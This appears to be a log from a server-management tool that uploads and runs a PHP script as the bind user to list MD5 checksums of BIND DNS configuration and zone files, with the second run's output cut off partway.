MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:59:05: Establishing a connection
2026-04-25 19:59:06: 

PUT: /tmp/pkp220445

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:59:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp220445; rm /tmp/pkp220445'

2026-04-25 19:59:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:59:32: Establishing a connection
2026-04-25 19:59:32: 

PUT: /tmp/pkp456520

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:59:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp456520; rm /tmp/pkp456520'

2026-04-25 19:59:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
